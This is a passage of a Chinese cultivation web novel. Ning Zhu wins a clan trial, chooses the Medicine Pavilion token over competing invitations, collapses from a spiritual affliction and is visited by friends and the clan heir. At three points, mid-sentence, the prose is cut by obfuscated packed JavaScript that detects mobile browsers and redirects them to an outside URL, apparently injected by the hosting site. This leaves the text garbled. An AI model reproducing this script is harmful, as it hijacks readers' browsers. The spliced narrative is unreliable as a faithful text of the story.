人群本就呈半圆围着,宁竹此刻前往一步,便是立于人群中间。诸多视线将他紧盯,宁竹却只是回头看了一眼宁长青,后者笑着,做出了准备鼓掌的姿势。 “第一,宁竹。” 顺理成章。 轩队带头拍了拍手,于是人群尴尬地跟了起来,稀稀拉拉的掌声里唯有灵植院这边二人鼓得起劲,在一众萎靡的声中欢腾得极不和谐。 “按照规矩,异变灵植不得做奖励。”轩队放下手,她开口把之前提醒了一半的话补全了,她道:“宁竹,选吧。” 被点了名的人一顿,宁竹的视线缓缓转移到面前铺开漫天的草药中。 实际上,他有些选不出来。 原本他的目标里便只有一株白叶参,现在他根本也用不上了,灵脉强盛地在他身体里运转着。 如果再炼一瓶化灵散,指不定那只蝎子没了灵脉的封锁就被放了出来,到时危险的可是自己;然而宁竹此刻也已经是达到散气九段之巅峰,只一步便能凝源,从此锁定灵属,再也没有吸纳木灵气的可能。 进退两难啊。 他扫过眼前诸多形态各异的药草,多是能搞到的,和不好搞但用不上的。 宁竹心下叹息一声,随手指了一株木灵属的一阶灵植。 “扇叶通心莲。”执事立刻报出了它的名字,朝宁竹做确认:“确定吗?” 宁竹随意点了点头,轩队指上一弹,那株灵植立即裹上她的灵力被挪移到宁竹眼前,宁竹兴致缺缺地将之收入手环。 “嘁……装什么装……” 年纪最小的宁瑞张牙舞爪,看不惯他这幅领了好处还不知感恩的模样,这回宁煌倒是没拦着他了,红发少年微微眯起眼,他下意识就开始琢磨: 宁竹交出价值更高的异变灵植,换了一株平平无奇的一阶灵植,他不会为了面子做这种亏本买卖才对。 那是为何? 宁长青和宁巫接连领走了属于自己的奖励,两人脸上皆是喜色,这种反应才是正确的—— 噢。 宁煌想通了,他微眯的双眼流露出一丝玩味,他又看向宁轲,看得对方无名火起,气恼地瞪了回来。 这场试炼已然到了结束的时刻,想走的早可以离去了,可炼丹堂的宁煌站着不动,医药阁的宁轲没有任何想走的意图,灵植院的宁长青更是揽着宁竹,亮着一双眼盯着轩队看。 原本想走的人犹豫片刻,又退回了队伍里,半晌竟是无一人散去。 “宁长青属灵植院,不做特邀。”轩队收回那漫天的药草,转而拿出两块雕刻精美的令牌,“宁竹与宁巫,你二人无分院归属,获参与药阁试炼的资格,若试炼通过,无需积分积累,可直入药阁。” 她说完,两块令牌便落在两人身前。 宁竹长出一口气。 是的。这才是他想要的。医药阁有属于自己的书阁,非药阁学子不得入内,宁竹的修为状况急需一个解决方案,而医药阁说不定能找到解决方案。 宁竹看着眼前这块墨绿色的令牌,他抬手就要接—— “此外。” 轩队的声音和宁长青的手一并袭来。 宁竹愣了一下,看向紧紧握住了他手腕的宁长青,又抬头看向眉梢轻微一挑的轩队。 “宁竹,此次郁苍谷之行,你淘汰了最多人。” 轩队不客气地截住宁长青的话头,抢得少年差点咬了自己舌头,宁竹好笑地看他脸上一阵憋屈之色又抗议不得,只能听轩队先把话说完。 “因此,我,宁轩,执法堂代行长老,特邀你加入执法堂。” 轩队难得露出一丝笑意,她微微扬首,又追加极具分量的两个字:“免试。” 哗! 躁动。 人群又一次躁动。 熟识之间彼此面面相觑,轩队短短两句话几乎要惊掉所有人的下巴,就连执法者之中也有人忍不住侧目,目光又一次聚集在宁竹身上。 一个十五岁的散气。 淘汰了最多人。 受到执法堂代行长老的免试特邀。 有几个执法者都忍不住咽了咽唾沫,脑子回放着的试炼之苦和先前轩队那两字“特邀”交叠在一块,一下冲击得有几个人面部神经都不受控制地轻微抽搐起来。 再度成为视线中心的宁竹有些意外。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775271|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 轩队的话语并不是玩笑,她说得很认真,何况她也不是会随口给别人画饼的性子,另一枚属于执法堂的令牌已然飘至他面前。 和医药阁四正八方的令牌不同,执法堂的令牌呈龙形,工艺虽抵不上药阁的精细,却在注视之间隐约看到了龙身上飘荡出的符文。 “宁竹!” 宁竹还在思考,身侧的宁长青却是半点忍不住了,他喊了一声,接着他手环上那枚叶子形状的吊坠便被他摘下。 离开了手环的链接,吊坠倏然放大至掌心大小,青翠的颜色从每一条叶脉中发散而出,他抬手,那枚叶型令牌便缓缓飘起,生生挤进了执法堂与医药阁的令牌之间。 “我,宁长青,灵植院二长老亲传弟子,特邀你加入灵植院。” 宁长青吼完,心虚地看了一眼轩队,一咬牙追加了同样的筹码:“……免试!” 人群静若木鸡。 属实不是不震惊了,而是震惊得大脑过载了。 这算什么?他们曾几何时见过这种阵仗!就连当年的少族长宁殊也没有这种免试的先例吧?! 现在抢的是谁? 一个三年前才被接回来的私生子! 一个十五岁了还在散气阶段徘徊的庸人! 各色复杂的情绪充斥心头,有些藏不住事的直接挂在脸上,更有甚者偷偷打量宁煌,唯恐天下不乱一般地暗中期待代表炼丹堂的宁煌会不会再掺一脚。 “……宁竹。” 他们期待的人没开口,反倒是医药阁的宁轲开了口。 “你要逃吗?” 他目光锋利如刀,恨不得在宁竹身上剜出两个血洞出来一般。初见时他那像极了宁殊的温和假面此刻不复存在,脸上有的只是赤裸的恨。 “当然逃了,”宁煌便在此刻开口,往火里浇了一罐子油,“灵植院有相熟,执法堂更有少族长庇护,你医药阁有什么?” 他说着露出笑,笑里却不知道是针对谁的恶意:“噢,有你准备的小鞋。” “宁煌!” 宁巫低喝一声,手中灵力已然开始汇聚。 轩队眼神微动,执法者当即上前一步,澎湃的灵力自他身上逸出,没做多余动作,巨大的阶层差距带来的威压便如同山一般压在宁巫和宁煌之间,轻轻一抹便化去了宁巫掌中的灵力。 “你不必激我。” 当事人终于开口,宁竹微微偏移视线,他看向宁煌,又滑向宁轲。 二人脸上神色各异,明摆着各怀鬼胎。 宁轲想给他抹上逃战的污名,宁煌更是左右都压。 若成,便是刺激宁竹应下宁轲的挑衅,两个他都看不顺眼的人内斗消耗,他坐享其成;而若不成,他此番话语也是给在场众人留下宁竹添了只会抱大腿的印象,先前宁竹接连带来的冲击自然而然也就散去了。 如此,二人的段位宁竹便是心中有了数。 宁竹轻笑一声,他抬手—— 握住了那枚四正八方的墨绿令牌。 纹路升腾,符文烙印,空白的牌面上浮现龙飞凤舞的一字“竹”。 “我的确是冲着这个来的。”宁竹摩挲着那枚令牌,草药的芳香随着令牌完成烙印传入他的感知之中,宁竹又看向平静的轩队与脸上满是不解之色的宁长青:“抱歉了,轩队,长青。” “无妨。” 轩队对于方才宁煌宁轲二人的话语毫无反应,只收回了她的那枚令牌。 宁长青欲言又止止又欲言,最后也只是郁闷地收回令牌,重新化作小吊坠挂在手环上。 “没什么安排了,自行解散。” 轩队说完,率先离场。 一队执法者跟在她身后一齐远去,人群间没有热闹可看了,这才有些不舍地散去,还一步三回头地张望,似乎很是担心自己又错过了什么戏码。 宁长青憋了半天,待人群散得差不多了才“嗷”的一下扑上来,抓着宁竹一阵狂摇:“干嘛啊你!干嘛!我们灵植院哪里不如了那个破药阁了?!” 宁竹被晃得头晕,他笑了笑,刚要做解释,忽的浑身一震。 青年的声音遥遥传来,直接在他脑中响起。 “明日辰时三刻,到长老殿!” 25.不速之客 “宁竹,宁竹?” 宁长青使劲挥手,宁竹半晌没有反应,他又大吼一声:“宁竹!” 这石破天惊的一吼属实给宁竹吓了一个激灵,他猛地回神,些许失焦的双眼逐渐聚焦,倒出宁长青担忧的脸:“怎么了?宁竹,我看你刚刚突然走神了,吓我一跳。” 他说着就要上手触摸宁竹的额头,宁竹下意识退了半步,少年伸出的手便悬在半空。 宁竹有些尴尬,他转移话题:“没什么,只是在谷里一直精神紧绷,这会儿没什么事了,一下就觉得累了。” 嗡! 这话刚一出口便仿佛触发了某种咒言,宁竹恍惚听到了一声尖锐的嗡鸣,旋即太阳穴全然不顾他死活地突突疼起来,似乎有一千根针扎着他的大脑。 宁竹的脸色倏的一下白了几分,他骤然发黑的视野里又一次出现了那只发狂的蝎子,封锁住它的灵脉光芒大盛,竭力想要压制住它,然而蝎子只是小幅地挣扎,时不时地一下动弹便让宁竹的意识不受控制地抽痛起来。 蝎子像是注意到了他的视线,它恶狠狠地盯着自己,紧接着,宁竹听到了一声无法理解的语言。 扭曲的语言忽的具象化成了一串又一串扭曲的符文在宁竹眼前爬过,只短短一息,冷汗便渗出额角。 宁竹强忍着痛找补:“别碰了,我头上都是汗,脏手。” 好在宁长青大大咧咧的也不在意这些,也没有发现宁竹的状态不可能是疲惫所致,他只是有些担忧地看着宁竹,把满腹的疑惑都压了回去:“啊,那你还是先回去休息吧,我们也回去洗漱一下,刚好等会还要见长老呢。” 宁长青似乎还说了什么,宁竹听不清了。少年张合不断地口中接连蹦出宁竹无法理解地音节,他们之间仿若隔了一层透明的膜,宁长青的声音忽大忽小,忽远忽近,分明人在就他身前,宁竹却只能听到破碎扭曲的音节。 快走吧。 宁竹快撑不住笑,大脑疼得更厉害了。 “我和兰之先走啦?”宁长青终于说完了话,他走回另外两人身边,临走前还回过身同宁竹挥了挥手:“改天再见。” 宁竹勉励撑着道:“嗯,改天见。” 三人身影逐渐远去,直到宁竹视线里再看不见一点影子,少年膝上一软,险些就跪倒在了地。 疼。 大脑又一次突突直跳了起来,好在现在广场上除他之后没有第二个人,宁竹疼得表情扭曲,细密的冷汗又一次打湿他的脸。 得回去。 可是怎么回去? 宁竹的手不受控制地颤抖起来,他艰难地从手环里摸出最后一根银针。还好,还好,这一根没有毒,宁竹闷哼一声,把这最后一根针刺入后颈,抓紧在视野被灰暗吞噬之前,他强迫自己迈出腿。 广场离内族弟子居住区本就有些远了,此刻剧痛反复折磨着宁竹的意识,他每一步都走得艰辛,生凭意志催使自己走了一路。 好在路上没什么人,有几个看到宁竹的都下意识地绕开了些许,待走得远些了,“他怎么出来了……”诸此之类的闲言碎语才飘到宁竹耳里。 宁竹顾不上,他强撑着最后一口气回到小院,推开门,空置了几天的小院里还是那般灵气浓郁,草木的芳香扑鼻而来,宁竹刚一脚迈进了门,随即意识被黑暗笼罩。 扑通。 少年直直摔在小院中,被满院青翠的草木接住了。 . 混乱。无序的混乱。 宁竹又一次跌入这片虚无之中,他茫然地徘徊着,他应当找寻一个出口,他明白、他清楚!可这片黑暗构成了一片泥沼,包裹上来的黑暗却并非冰冷的触肢,反而温暖得犹如某种摇篮,令他无法生出半点反抗的念头。 他的耳旁又一次响起扭曲的咒言,絮絮低语像谁弥留之际的呢喃,反复地倾诉着爱与不舍。 睡吧、睡吧,到我这里来,睡吧,睡吧—— 宁竹快要合上双眼。 “宁竹?” 谁是宁竹? 宁竹下意识地反问,旋即他浑身一颤,他挣扎着,在一片温柔的包裹下奋力睁开双眼。 “宁竹!” 谁在喊他? 宁竹一点一点从无形的泥沼中挣出,触肢似乎留恋地滑过他的小臂,宁竹顿了顿,片刻,他坚决地从那触肢的环绕中抽出手来。 他不属于这里……他不应该在这些。 另一道温柔的触肢轻轻牵起他的手,邀着宁竹朝它的方向走去。 宁竹往前迈步。 一步,又一步。眼前的世界逐渐从黑暗褪色为灰白,牵着他手的触肢便也褪去黑暗,露出纠缠的色彩。 灵脉。 宁竹心情复杂地盯着他手中紧握的二色灵脉,他站在光亮大盛的出口处犹疑,灵脉便温柔而坚定地将他往出口方向推了推。 这是梦吗? 宁竹不知道,他又听见了一声焦急的叫唤:“醒醒、醒醒啊宁竹!” 他应当出去。 于是他一步迈开,穿过那层光芒大盛的白色光圈,意识便被轰入体内。 他一睁开眼,便对上了一张放大了数倍的人脸,吓得宁竹差点一拳挥了出去,好在身体爆发的胀痛及时扼住了他下意识的暴力自保行为,对方惊呼一声,“嗷”地一下转头大叫起来:“醒了醒了!速来!!” “宁辞,你小点声……” 宁竹痛苦地扭过头,身体的每一块肌肉都在尖叫着酸痛,或许是长时间的超负荷运转之后它们终于明白,和操纵这具身体的人叫苦叫累是不会有结果的,索性直接罢起了工。 而这后果就是,宁竹连动一下手去捂耳朵都没有办法。 “醒了?!”没等宁辞回他,另一个人便扑了上来,啪一下捧住宁竹的脸左看右看,满眼着急,嘴上问题一个接一个地抛:“感觉怎么样?知道自己是谁吗?我呢?还记得我叫什么吗?有哪里不舒服?会不会觉得头晕恶心之类的?” 宁竹:…… 宁竹:“宁长青,没问题也要被你问出问题了。” “哎不好意思不好意思……”宁长青连忙松手,“怎么样,能坐起来吗?” 宁竹感受了一下自己的身体,他摇摇头:“不太能。扶我一把。” 宁长青便把他扶起来,倚着床头坐。 宁长青眼珠子来回转了几下,显然是一肚子话想问,宁竹决定先发制人:“你们怎么来了?” 这一问很是奏效,宁长青猝不及防被他问得懵了,只愣愣地解释:“啊,我和兰之去和长老汇报完,突然想起来还有东西没给你,就直接过来了。” “然后他俩一进来看到我在拖你,还以为我是哪里来的贼,”宁辞撇嘴,一副意见很大的模样,“差点没把巡逻队摇过来。” 宁长青:…… 宁长青试图争辩:“不是,你当时真的很可疑好吧?” 宁竹:“停。” 宁辞看了他一眼,“哼”一声也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786123|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给雇主三分面子没接话吵下去。 少女为什么在这里宁竹心里倒是有数,宁辞向来是哪有八卦往哪凑,今年郁苍谷之行发生了这么多事,宁辞直接跑来问他这个当事人,也属实意料之中。 至于自己晕过去的事…… 宁竹心下“啧”了一声,他面上不显,继续打断宁长青那一连串的恐怖提问:“你和兰之一起来的,兰之人呢?” “啊?哦,她在外面坐着呢。”宁长青挠了挠头,“她说男女有别不太方便,她就不进来了。” 宁竹:…… 宁竹转头又看了一眼宁辞。 宁辞:? 宁辞在宁长青看不到的角度呲了个鬼脸。 “你怎么晕过去了,还好吗现在?”宁长青见宁竹没说话了,便抓紧了空档问,“之前问你你又说没事,要不要去叫医药阁的来看看?我有个相熟的师兄!保证不是宁轲那种怪人!” 宁长青的关心是发自内心的,宁竹能感受到,但他的情况太特殊,和他一起并肩作战过的宁长青宁兰之可信,和他保守着共同秘密处在同一艘船上的宁辞可信,但就连这份可信也不足以支撑宁竹把他所经历的一切全盘托出。 宁竹沉默片刻,他还是用先前那套说辞:“不用麻烦了,长青,只是太累了。” 宁长青不信地重复:“只是太累了?” 宁竹点头:“嗯,我没事。” “……好吧。” 宁长青见状也不再坚持,他突然拉住了宁竹的手,宁竹愣神一瞬,一枚小小的叶片便链接上他的手环。 “这是我的通行牌,我送给你,以后,灵植院内你可以畅行无阻。”宁长青笑弯了一双眼,他解释完,又郑重地看着宁竹道:“虽然我不知道你为什么要选医药阁,但我们灵植院不差,也欢迎你经常来。你要是没事,可以多来找我们玩,蹭课也不错的,有我和兰之在,保证不会有人说闲话!” 宁竹沉默着凝视那枚小吊坠,它摇摇晃晃,在阳光下折出来一点宝石般璀璨的光彩。 他心头一暖,低声道:“谢谢。有时间我一定去。” 半天说不上一句话的宁辞:…… 发光发亮的宁辞决定噎死人:“二位不觉得你们现在有点太暧昧了吗?” 宁长青“啪”一声把宁竹的手甩开了。 宁竹笑了出来,胸腔震动牵连着肌肉,心口密密麻麻的又酸又痒,笑得宁竹有些喘不上气。 白日阳光正好,透过窗户,暖洋洋地照在宁竹身上,消融了些许冰寒。 一点尘埃顺着光线扶摇直上,宁竹追着那星星点点的灰尘视线游出窗外,大片大片的阳光铺在小院的草木上,为之渡上一层金色的边,目之所及,皆是一片生机勃勃的景象。 只是……他好像忘了什么? 宁竹喉口一紧,他突然问:“现在是什么时候?” 宁长青疑惑地答:“巳时,近午时了。” ……完了。 他们昨日回到宁家广场是下午,轩队交代他的是次日的辰时三刻。 “怎么了,宁竹?” 宁长青不明所以,他还想问,屋外头忽的传来敲门声,三人的注意力皆是被那突兀的声响吸引了注意力。 “吱呀”一声的开门动静过后,少女倏然抬高了音量,明目张胆地将来自的身份传递给屋内的人—— “少族长?你怎么过来了?” 宁竹眼前一黑。 宁殊哥来干什么? 26.宁殊 宁殊对开门的人倒是意外了一下,什么时候宁竹认识了灵植院的人? 他内心所想的自然不会在面上显现,只是对宁兰之露出温和的笑:“我来看看小竹。” 宁兰之下意识侧开一步,给宁殊让开了进入的空间。不待宁兰之反应过来,少年便已大步流星走向院中屋,他的手悬在门上轻轻敲了两下,旋即毫不犹豫地推开门。 宁兰之心头一紧,她连忙跟上去,只见屋中宁竹倚靠着床头闭目,他眉头紧绞,放在被褥外头的手轻微地抽搐着,宁长青就坐在床榻边上,端着一碗水,或许是因为受了惊,那碗水泼出来大半。 少族长开门的动静属实有些大了,宁长青迷茫地看着门口的人,一副很是难受模样的宁竹也偏过了头来,努力睁开一条眼缝。 宁兰之紧张地环顾屋内一圈,那个外族的少女已经不见了影踪,她稍稍松一口气,便见身前的人几个大步迈了过去。 “小竹?”宁殊的动作实在太快,宁长青还没说出半个音来,宁殊的手已然拨开宁竹额前的碎发贴上他的额头,“发生什么了?” “没事的,少族长,你别担心。”宁长青把水放下,局促地摸了摸那块被水打湿的被褥,似乎是想把水擦掉,他视线垂下去,不敢直视宁殊,也好在宁殊并没有看他。 他继续道:“宁竹是太累了,精神紧绷过头,加上灵力透支,我给他看了,没什么大碍的。” 宁殊皱起眉头,他紧紧盯着宁竹的脸,直到少年微微掀开眼帘。 “宁殊哥?”宁竹的声音有些哑,他挣扎着想起身,又被宁殊按了回去,宁竹犹豫片刻,他道:“抱歉……我睡过头了。” 宁殊闻言当即微微摇头:“你先休息,没事。” 宁竹眼神一暗,他顺着宁殊施在他肩上的力度靠回去,扮出一副有气无力的模样,心底则疯狂盘算起来。 他没说是为什么是道歉,宁殊哥却很自然地回答了,并且在确认了他状态不佳之后,宁殊哥就没有先前开门过来时的着急了。 所以,果然是因为长老那边的事赶过来的吗? 宁竹悄悄留了个心眼,他继续听着宁殊和宁长青的对话。 “郁苍谷里发生了什么?” 宁长青解释:“不清楚,我们听到了一声龙吟之后木牌就碎了,然后就被传出来了。” 宁殊道:“我问宁竹。” “……没事,我们出来前和宁煌打了一架,”宁兰之连忙接话,“宁竹太拼了,要不是他,我们也淘汰不了宁煌。” “对对,淘汰完宁煌之后宁竹就说他有点透支,要休息一下,然后我们就分开走了。”宁长青意会迅速跟上。 宁殊突然停了没搭话,屋内的氛围便陷入诡异的安静。宁长青的手藏在身后,不安抠着被子一角,宁竹感受到了布料轻微地被扯动着。 “可我怎么听说,小竹刚出来的时候,状态并不差?” 僵住。 宁长青和宁兰之都答不上话。 非要说的话,宁竹的异常是从昨日下午、他们快要分开的时候开始的。当时宁竹给他们的说辞就是自己累了,此时他们也只是顺着宁竹的说法编,试图应付过去宁殊而已。 眼看着快要编不下去了,宁竹只得开口:“宁殊哥。” 他努力抬了一只手,挪到宁殊面前。 “我灵力出了点问题。” 他眼睛没睁,自然看不到身前人的表现,坐在床榻一侧的宁长青却清楚看见了,宁殊的眼瞬时间瞪大了几分,瞳孔似乎都轻微地颤了起来。 宁殊往床边上坐下,他的手指弓起,搭在宁竹的手腕上,同时外放出的灵力令得屋内另外两人都心头一凛。 他们彼此对视一眼,便从彼此眼中读出了相同的讶异。 只一岁之差而已,怎么宁殊的修为提升的这么快? 但他们还没能多对视一秒,宁殊轻微发颤的声音便传了过来。 “你……” 他似乎想说什么,但很快他又意识到了不妥,他收了声,宁竹便适时地睁开眼,眼底自然地带出一抹苦涩。 “我知道了。” 宁殊轻轻叹了一口气,也没心思问宁长青和宁兰之怎么会出现在这里了,他站起身,神情复杂地看了宁竹一会儿,还是没忍住问:“你……需要我叫医师来吗?我找的人,你可以信。” 宁竹唇角一扬,笑里不屑混杂着痛苦:“去找来干嘛,找来嘲笑我吗?” “你……好好休息吧,那边我去说。”宁殊叹息一声,不再劝说,只是道,“明日我来接你。” 宁竹又重新闭上眼,恢复以前那种客气又疏离的语气:“麻烦宁殊哥了。” 宁殊转过身,有些复杂地看着旁侧灵植院的二人,他轻声道:“你们和小竹是朋友?今天辛苦你们多照顾一下小竹,我还有事,得先走了。” “少族长放心吧,我们和宁竹关系很好的。”宁兰之连忙接话,“我送您出去。” . 脚步声逐渐远去,好一会了,宁长青慌忙跑去关了门,宁竹这才再一次睁开眼,这回眼底那点半死不活的愤怒与怨恨全消失了,平静得仿佛从未泛起涟漪的深潭。 宁长青不顾形象地扑倒到宁竹床上。 他被宁殊吓得不知道出了多少汗,抄起那碗“给宁竹倒的”水,几大口就咽完了下去。他碗一放,唇角一擦,宁长青眼底露出几分演出来的凶光,恶狠狠地盯着宁竹:“说!怎么回事!” 在门口多守了一会,确认少族长走后才赶回来的宁兰之同样不接,她双手抱臂,俨然是一副今天宁竹不给出一个合理解释就不罢休的模样。 宁竹笑了笑:“能有什么事,这不是还活着吗?” “少来!”宁长青张牙舞爪地比划,“你刚刚说灵力出问题了?你要是把我和兰之当朋友,就别瞒着我们!” 眼看这两人是不打算轻易把这事绕过去了,宁竹叹了口气,调动灵力外放而出。 “我的事,你们也知道。”他看着两人骤然呆滞的表情,没由来,他突然觉得这样吓一下他们还挺好玩的,“喏。木属性没了。” 宁竹短短几个字如五雷轰顶,两人眼底都露出了与先前宁殊同样的震愕。 “不是吧……” 宁长青这下完全理解了宁殊之前的复杂与迁就。 宁竹在觉醒双灵脉之前,是木灵属的修者,而在觉醒灵脉灵源破损之后,宁竹也没有放弃木属性,反而分外排斥灵脉,正因此,他是内族唯一一个双灵脉但三灵属的修者。 这事可以说是内族人尽皆知。 而现在,宁竹身上的木灵力被排空了,又处在散气九阶之巅峰,几乎可以说是没有再提炼转化木灵力的可能了。 这对宁竹来说,又如何不算一种毁灭。 宁长青越想越头皮发麻,他慌忙道歉,看阵势就差给宁竹磕一个了:“对不起对不起我不该那么好奇……” 宁兰之同样充满歉意:“对不起宁竹,我没想到是发生了这种事……” 宁竹摇摇头:“没什么,早晚会让人知道的。” 突然昏厥的事算是解释过去了,看宁殊哥的表现,大概会帮他解释一下,明日再去也就不用再解释今天没到的原因了。 只是长老那边……宁竹思考着,他弯起的指尖轻轻点了点床榻。——轩队叫他去长老殿,只会是长老们的意思。 那么,长老们会因为什么事叫他过去? 一个浅显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788217|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的答案很快浮出水面。 宁竹抬起头,对着二人道:“长青,兰之,我有些事要和你们对一下。” . 宁殊没有走出去多远。 他在道路中间站定,回过头,还能看见不远处那间大门紧闭的小院。 路过的行人两两三三结伴,见了他便齐声喊了“少族长好”同他打招呼,宁殊也一一微笑着回应。只是现下,他全然没有留心任何一张路过他的人的脸庞,脑中反复播放着的,是清晨时分长老殿中不满的怒斥。 “他宁竹是要反了天了?平日里就目中无人,现在连长老的传召都不屑一顾了?” 长胡子的老者吹胡子瞪眼,他杵着的拐杖用力地敲击地面,砸出几声不满的闷响。 “这么点礼仪都不懂,果然是个野种!” 宁殊打断了他:“大长老慎言。” 那老者闻言却更加恼怒了,他拐杖一抬,直直指着立于主位边侧的宁殊:“我慎言什么?宁殊,族长只是暂离几个月让你代行管理,还没轮到你个毛头小子对我指手画脚的时候!” “哎,好了,好了,你气什么?”一侧挽着一头银丝的年长女性笑眯眯开了口,不由分说地把他的拐杖往下压回去,“咱宁家迟早会有宁殊说话那一天,你就当提前习惯习惯怎么了?” “哼!”大长老重重哼了一声,拐杖又重新杵回地面,砸出一声恼怒的声响。 “郁苍谷可还能连接得上?”老者对面的稍年轻一些的女人蹙起眉头,满目焦虑,“啧,这郁苍谷年年开放试炼,怎么偏偏就是今年出了事。” 宁殊摇了摇头:“还在努力……但希望渺茫。” “哼,你说巧不巧,往年什么事都没有,偏偏这个宁竹来了就出了事。”前些日子主持唤灵仪式的炼丹堂三长老明显也不喜宁竹,他嘲讽一声,没等宁殊开口,便径直转移了话题,“实在链接不上,就给族长传密信吧。” “你也别什么事都往那孩子身上怪,”年长女性看了过来,笑吟吟地敲打借题发挥的三长老,“前些天那空间异动,都忘了?郁苍谷本就是一个小空间的碎片,若不是聚气之上进入会让空间崩溃,又怎么会派一群连聚星都没有的孩子进去探索。” “好、好!”大长老又气吁吁地痛斥起来,“就算郁苍谷的事宁竹是无辜的,他现在又是什么个事?让我们一群长老加一个代理族长等他?他眼里还有没有这个宁家!” 宁殊长长地叹一口气:“好了,诸位长老,散会后我会亲自去找宁竹谈谈,明日我一定把他带来。” . 宁殊回过神来,他忍不住回身看去,印入眼中的是宁竹小院的大门,脑中浮现的却是宁竹那痛苦而无奈的笑。 ——“我灵力出了点问题。” 灵属不再驳杂,灵脉得以全力发展。这对宁家内族弟子,几时算得上坏事。 可…… 可宁竹不是啊。 宁殊忽的感觉心脏有些酸胀的疼,他垂下眼,又想起五年前,随师兄们出去采购时,在药坊里见到的少年。 师兄们悄悄告诉他,这就是坊间那个年仅十岁,只靠自己完成凝源的木灵属天才。 他安静地、悄声打量这个衣着朴素,满身野劲也极具生命力的少年,他在药坊同人交谈,笑得明媚肆意,张扬得似一株傲立峭壁之上的青松。 那个受尽瞩目的天才,那个充满生命力的少年,才是惊艳过他的宁竹。 而如今,他在本应当是给带来助力,提供庇护的宁家,撞得头破血流,满身伤痕。 他依旧瞩目,可投向他的目光不再是欣赏,而是不解与鄙夷。 宁殊忽的想。 或许……他有办法还宁竹一个自由。 27.意外之喜 好不容易送走了宁长青宁兰之二人,宁竹倚靠着床头,定定地望着窗外,夜色已深,他倒丝毫没有休息的意思。 屋外响起一长一短的两声鸟兽啼鸣,宁竹低低咳嗽一声,少女便一个翻身从半敞的窗钻了进来,落地之轻巧甚至没能惊起木板上半声响。 “没人了吧?”宁辞警惕地打量了一圈屋子,空荡荡的房间里倒也没什么可以藏人的地方,她一边打量一边往宁竹床边走去,“还能起来吗你?” 宁竹长出一口气:“放心吧,有人就不会叫你进来了。” 白日宁殊来的时候,刚听着宁兰之的传话宁辞马上就翻窗跑了,一秒都没有多留,宁竹自然对她的警觉放心,但昨夜是她第一个发现昏厥的自己,现在一入夜她便又着急忙慌地找回来,说只是因为八卦,那显然有些说不过去了。 他费力地直起身子:“这么着急找我,怎么了?” 宁辞撇了撇嘴:“你要的东西给你找着了。” 宁竹身形一顿,他有些怀疑自己听错了:“这么快?” 他倒是不怀疑宁辞的能力,但这才过去几天她就找到了,确实是有些快得超乎宁竹意料。 宁辞懒得解释,她把包裹放在床边,打开外层磨损严重的破布,一抹玉色便在月光下流转,小白玉盒无声地宣告着宁辞此行带来的东西之贵重。 玉性质稳定、温润,不会损伤药性,越是上好的玉石,越是能让药物留存时间更久,也因此,玉石多被用于灵植和丹药的储存。 宁竹张了张口,他原本想说什么,但忽的他有些说不出话。 他打开盖,青翠欲滴的圆润花籽静静地躺在玉盒中央,在白玉石的衬托下,那几颗饱满的花籽上玉色流转,四道紫色的纹路清晰地说明了它们的年限。 宁竹愣了好一会儿,直到浓厚的木灵气交织着溢出,宁竹这才猛地合上盖子。 少年呼吸不自觉急促了些许,他阖上眼,努力平定了自己的心情,却不想躁动的器脏更剧烈地跳动着,仿佛浑身的血液都沸腾起来。 青月花花籽本是宁竹为拔除灵脉之后所做的后手,是尽快填补空缺、好再度凝源确定灵属之用。 而现在,他出了意外,原先宽容的三个月时限一下变得紧张起来,他迫切需要外界助力来介入凝源,以确保还能再身体中留下部分木灵力,哪怕只有一点也好过全无。 他甚至想好了宁辞那边如果赶不上,就去找宁长青借积分用,换一株木灵气足够浓郁的灵植来进行干预。 可宁辞搞到了。 甚至还给他弄多了。 他原本想,哪怕一颗也足以。 本是锦上添花的东西此刻成了向宁竹送来的雪中炭,甚至说是救命稻草都不为过。 宁竹放在玉盒之上的手不受控制地颤抖起来,他紧紧地扣住玉盒边缘,任由些许锋利的棱角硌着他的皮肉。 “谢谢……”宁竹调整了声音,却也还是能听出来他喉口发紧,少年顿了顿,他再度开口,声音诚挚,“谢谢,很及时,我很需要。” 宁辞一时接不上话,她摸了摸鼻子,下意识想揶揄打趣点什么打破现在着令她分外不适应的氛围,可思来想去半天,她还是及时管住了自己的大脑。 她不知道宁竹在郁苍谷里遭遇了什么,可她知道,这是她和宁竹相处三年以来,宁竹第一次露出这种神情。 换做以前,她肯定没脸没皮地把功劳往自己身上大揽特揽哭诉自己有多不容易了,但现在嘛…… “也是你给的化灵散给力了,”宁辞叹了口气,一想到那飞了的化灵散就一阵心痛,“要不是拿这个出去换,三个月还不一定能找到呢。” 宁竹:…… 